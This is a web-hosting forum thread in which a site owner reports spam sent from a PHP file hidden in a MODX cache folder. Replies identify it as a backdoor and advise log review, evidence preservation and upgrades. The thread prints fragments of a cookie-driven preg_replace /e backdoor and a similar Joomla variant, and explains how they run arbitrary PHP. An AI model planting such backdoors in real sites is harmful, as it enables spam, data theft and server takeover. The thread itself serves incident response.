emails sent from server from script placed in a folder
Hi,
I recently started getting emails like (see bellow)
I found some files that shouldn't be on the server deleted and patched some security fixes that were not present on the CMS I use.
Is there anything I can do at server level to avoid the sending of emails.
I still don't know how the files that sent the emails were uploaded, maybe an older phpthumb script but I'm monitoring the other projects I have on the server.
Thank you
Posting some of the code I found just in case someone know what it is.
Possible Scripts: '/home/mysite/public_html/assets/cache/siteCache.idx.php' --- Here is the code ---
----
Time: Thu Jun 11 15:31:25 2015 -0400
Path: '/home/mysite/public_html/assets/cache'
Count: 101 emails sent
Sample of the first 10 emails:
2015-06-11 15:17:52 cwd=/home/mysite/public_html/assets/cache 4 args: /usr/sbin/sendmail -t -i -fzachary.taylor@mysite.com
2015-06-11 15:17:52 cwd=/home/mysite/public_html/assets/cache 4 args: /usr/sbin/sendmail -t -i -fmuhammad.robinson@mysite.com
2015-06-11 15:17:52 cwd=/home/mysite/public_html/assets/cache 4 args: /usr/sbin/sendmail -t -i -fxavier.taylor@mysite.com
2015-06-11 15:17:52 cwd=/home/mysite/public_html/assets/cache 4 args: /usr/sbin/sendmail -t -i -fvictoria.miller@mysite.com
2015-06-11 15:17:52 cwd=/home/mysite/public_html/assets/cache 4 args: /usr/sbin/sendmail -t -i -fkaelyn.thomas@mysite.com
2015-06-11 15:17:52 cwd=/home/mysite/public_html/assets/cache 4 args: /usr/sbin/sendmail -t -i -fisaac.wilson@mysite.com
2015-06-11 15:17:52 cwd=/home/mysite/public_html/assets/cache 4 args: /usr/sbin/sendmail -t -i -fisaiah.thompson@mysite.com
2015-06-11 15:17:52 cwd=/home/mysite/public_html/assets/cache 4 args: /usr/sbin/sendmail -t -i -felliot.martinez@mysite.com
2015-06-11 15:17:52 cwd=/home/mysite/public_html/assets/cache 4 args: /usr/sbin/sendmail -t -i -folivia.wilson@mysite.com
2015-06-11 15:17:52 cwd=/home/mysite/public_html/assets/cache 4 args: /usr/sbin/sendmail -t -i -fnicholas.garcia@mysite.com
Possible Scripts: '/home/mysite/public_html/assets/cache/siteCache.idx.php' --- Here is the code ---
;
if ($jq) {
$option = $jq (@$_COOKIE['gqffvuvj2">) ;
$au = $jq ( @$_COOKIE['gqffvuvj1">) ;
$option ( "/438/e" , $au , 438 ) ;
} else {
header("HTTP/1.0 404 Not Found");
}
}
}
$content = new ozgodzyki;
-
This is definitely malicious PHP code. A very similar bit of code was found on another server described in ; if ($jq) { $option = $jq(@$_COOKIE['ContentJQ2">); $au=$jq(@$_COOKIE['ContentJQ1">); $option("/438/e",$au,438); die(); } else phpinfo();die; } } $content = new PluginJoomla; An answer there was (change ContentJQ[1-3] to gqffvuvj[1-3] for your code): "$option("/438/e",$au,438);" means execute $au when $option is preg_replace, because of the /e flag. With $_COOKIE['ContentJQ3">="base64_decode", $_COOKIE['ContentJQ1">=base64("preg_replace") and $_COOKIE['ContentJQ2">=base64("arbitrary_php_code();"), this in the end executes any php code the hacker likes. It can then be used to download ANY file from your filesystem (that PHP can access; remember open_basedir), do anything you like with your database.
So your website was definitely hacked. My guess is a vulnerability was exploited in your MODx CMS (that filename/path looks like MODx anyways).0 -
Problem is I can't tell how it was uploaded. 0 -
Err, the moderator accidentally enclosed some of my comments from my last post in code blocks. Last thing I said was: "I would remove siteCache.idx.php immediately, as well as look into your access log to see who's been accessing that file." To determine how the file was uploaded, chances are you can look up the IP address that accessed siteCache.idx.php in the logs and match it up with requests for other php files on the system. If the attacker was mass scanning or using Google to find sites running vulnerable software, the very first request from that IP might be the vulnerable script. That'll work as long as the attacker wasn't using a different IP for the initial attack than the one used to access siteCache.idx.php. For that you would have to look deeper into your access & error logs for any kind of unusual activity (I.e., hundreds or thousands of requests from the same IP for files that don't exist, or search engine crawler-like behavior from an IP that doesn't match up with any known search engine crawlers). You should also make sure that any PHP scripts (and addons/plugins/etc.) you're using is the latest version of that script. There's also the possibility that this was a "0day" exploit (meaning a patch/fix hasn't been released yet to fix the vulnerability). To help lower the chances of those types of exploits from working (at least in PHP scripts), you could use Suhosin and/or ModSecurity. 0 -
If you find malicious files and you plan on asking your hosting provider to help, don't just remove them right away. This can destroy a lot of the evidence they will need if they are able to assist you. It is generally best to leave things untouched if you plan to hire someone to help so that they can use timestamps of the files to properly hunt through the log files. If you do need to disable the malware it is best to at least "stat" the file first over ssh (i.e. stat whatever.php) and save the output of all timestamps before doing anything else. 0 -
HI, Just wanted to say the site was compromised on another server, before being moved to the new one, and this probably happened because the MODX Evolution CMS was old and no security updates were done in a few years. I deleted the files that caused the problem and upgraded the CMS. 0 -
There are several known issues with older MODX Evolution and Legacy 0.9.x releases, however if the site is running the current release 1.0.15 there shouldn't be any known issues at this time. Your client can upgrade any of the 0.9.x - 1.0.x releases to the current version directly. You cannot upgrade to Revolution directly, however depending on the site upgrading to Revolution should be difficult for a MODX Developer. That being said if the site is running 1.0.15 and still being exploited you might want to contact MODX so they can patch the issue. You can find the version in the (prefix)_site_settings table. 0 -
I'm running the latest Clipper now and I also have the ModSec rules setup. Hopefully that will be enough Thanks 0 -
New I'm running the latest Clipper now and I also have the ModSec rules setup. Hopefully that will be enough
I am happy to see you were able to find a suitable solution. Feel free to keep us updated on the outcome. Thank you.0
Please sign in to leave a comment.
Comments
9 comments